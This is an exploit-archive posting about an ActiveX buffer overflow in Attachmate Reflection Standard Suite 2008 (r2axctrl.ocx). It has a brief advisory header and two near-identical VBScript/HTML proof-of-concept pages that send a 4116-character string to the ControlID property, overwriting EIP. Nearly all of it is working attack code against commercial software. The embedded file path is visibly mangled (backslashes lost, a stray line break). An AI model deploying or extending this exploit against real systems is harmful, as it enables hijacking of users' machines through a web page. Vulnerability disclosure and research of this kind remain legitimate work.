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Reflection Attachmate Reflection Standard Suite 2008 ActiveX

Posted on 18 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Reflection Attachmate Reflection Standard Suite 2008 ActiveX BOF</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================================
Reflection Attachmate Reflection Standard Suite 2008 ActiveX Buffer Overflow
============================================================================


# Exploit Title: Reflection Attachmate Reflection Standard Suite 2008 activex buffer overflow
# Date: Mar 11, 2010 found
# Software Link: http://www.attachmate.com/Evals/ruo2/eval-form.htm
# Version: 13.0 &amp; 14.0
# Tested on: WinXP SP3 &amp; Win7 64bit
# CVE : None yet
 
 
Attachmate Reflection Standard Suite 2008 &amp; Reflection X Both contain a buffer overflow that could be triggered via activex. when r2axctrl.ocx is sent large string to the Reflection for UNIX &amp; OpenVMS control class a crash happens that overwrites EIP with 41414141.
 
 
# Code : [PoC exploit below]
______________________________________________________________________________
&lt;html&gt;
PoC1
&lt;?XML version='1.0' standalone='yes' ?&gt;
&lt;package&gt;&lt;job id='DoneInVBS' debug='false' error='true'&gt;
&lt;object classid='clsid:15B168B2-AD3C-11D1-A8D8-00A0C9200E61' id='target' /&gt;
&lt;script language='vbscript'&gt;
 
'Wscript.echo typename(target)
 
'for debugging/custom prolog
targetFile = &quot;C:Program FilesReflectionsX
2axctrl.ocx&quot;
prototype  = &quot;Property Let ControlID As String&quot;
memberName = &quot;ControlID&quot;
progid     = &quot;R2AXCTRLLib.R2winCtrl&quot;
argCount   = 1
 
arg1=String(4116, &quot;A&quot;)
 
target.ControlID = arg1
 
&lt;/script&gt;&lt;/job&gt;&lt;/package&gt;&lt;/html&gt;
 
___________________________________________________________________________________
May need to throw a refresh to trigger PoC2 completely
__________________________________________________________________________________
&lt;html&gt;
PoC2
&lt;?XML version='1.0' standalone='yes' ?&gt;
&lt;package&gt;&lt;job id='DoneInVBS' debug='false' error='true'&gt;
&lt;object classid='clsid:15B168B2-AD3C-11D1-A8D8-00A0C9200E61' id='target' /&gt;
&lt;script language='vbscript'&gt;
 
'Wscript.echo typename(target)
 
'for debugging/custom prolog
targetFile = &quot;C:Program FilesReflectionsX
2axctrl.ocx&quot;
prototype  = &quot;Property Let ControlID As String&quot;
memberName = &quot;ControlID&quot;
progid     = &quot;R2AXCTRLLib.R2winCtrl&quot;
argCount   = 1
 
arg1=String(4116, &quot;A&quot;)
 
target.ControlID = arg1
 
&lt;/script&gt;&lt;/job&gt;&lt;/package&gt;&lt;/html&gt;



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